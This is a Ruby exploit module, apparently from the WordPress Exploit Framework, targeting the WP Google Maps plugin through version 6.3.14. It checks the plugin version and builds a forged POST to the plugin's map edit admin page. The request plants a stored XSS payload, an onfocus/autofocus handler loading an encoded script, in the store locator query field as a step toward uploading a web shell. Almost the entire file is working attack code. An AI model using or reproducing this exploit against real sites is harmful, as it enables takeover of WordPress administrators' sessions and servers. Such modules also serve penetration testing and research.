# frozen_string_literal: true

class Wpxf::Exploit::WpGoogleMapsStoredXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'WP Google Maps <= 6.3.14 Stored XSS Shell Upload',
      author: [
        'Sipke Mellema', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8653'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_wp_google_maps_plugin_via_csrf.html']
      ],
      date: 'Nov 10 2016'
    )
  end

  def check
    check_plugin_version_from_changelog('wp-google-maps', 'readme.txt', '6.3.15')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php?page=wp-google-maps-menu&action=edit&map_id=1')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'wpgmza_id'                         => '1',
      'wpgmza_start_location'             => "#{Utility::Text.rand_numeric(2)}.#{Utility::Text.rand_numeric(15)},-#{Utility::Text.rand_numeric(3)}.#{Utility::Text.rand_numeric(14)}",
      'wpgmza_start_zoom'                 => '2',
      'wpgmza_title'                      => Utility::Text.rand_alpha(10),
      'wpgmza_width'                      => '100',
      'wpgmza_map_width_type'             => '%',
      'wpgmza_height'                     => Utility::Text.rand_numeric(3),
      'wpgmza_map_height_type'            => 'px',
      'wpgmza_map_align'                  => '1',
      'wpgmza_map_type'                   => '1',
      'wpgmza_theme_data_0'               => '',
      'wpgmza_store_locator_restrict'     => 'ad',
      'wpgmza_store_locator_query_string' => ":i8gr4\\\"onfocus=\\\"#{xss_ascii_encoded_include_script}\\\"autofocus=\\\"",
      'wpgmza_store_locator_bounce'       => 'on',
      'wpgmza_max_zoom'                   => '1',
      'wpgmza_savemap'                    => 'Save Map',
      'wpgmza_edit_id'                    => '',
      'wpgmza_animation'                  => '0',
      'wpgmza_infoopen'                   => '0'
    )
  end
end
